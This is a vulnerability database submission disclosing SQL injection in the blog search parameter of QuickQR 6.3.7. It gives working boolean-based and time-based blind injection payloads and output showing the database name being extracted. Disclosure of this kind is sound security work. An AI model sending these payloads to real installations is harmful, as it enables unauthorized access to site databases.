Submit #179269: QuickQR 6.3.7 - SQL Injection

# Exploit Title: QuickQR 6.3.7 - SQL Injection
# Date: 07/07/2023
# Exploit Author: skalvin aka (CraCkEr)
# Vendor: bylancer
# Vendor Homepage: https://bylancer.com/
# Software Link: https://quickqr.by-code.com/
# Version: 6.3.7
# Tested on: Windows 10 Pro
# Impact: Database Access

Release Notes:

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.

Path: /blog

https://website/blog?s=[SQLI]

GET parameter 's' is vulnerable to SQL Injection

---
Parameter: s (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: s=123') OR 05923=5923 OR ('04586'='4586

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: s=123'XOR(IF(now()=sysdate(),SLEEP(6),0))XOR'Z
---

[+] Starting the Attack

fetching current database
current database: 'quickqrmenu_**'

[-] Done

• User: skalvin (UID 49463)
• Submission: 07/07/2023 20:35 (3 years ago)
• Moderation: 07/15/2023 18:26 (8 days later)
• Status: Accepted
• VulDB entry: 234235 [Bylancer QuickQR 6.3.7 GET Parameter /blog s sql injection]
• Points: 17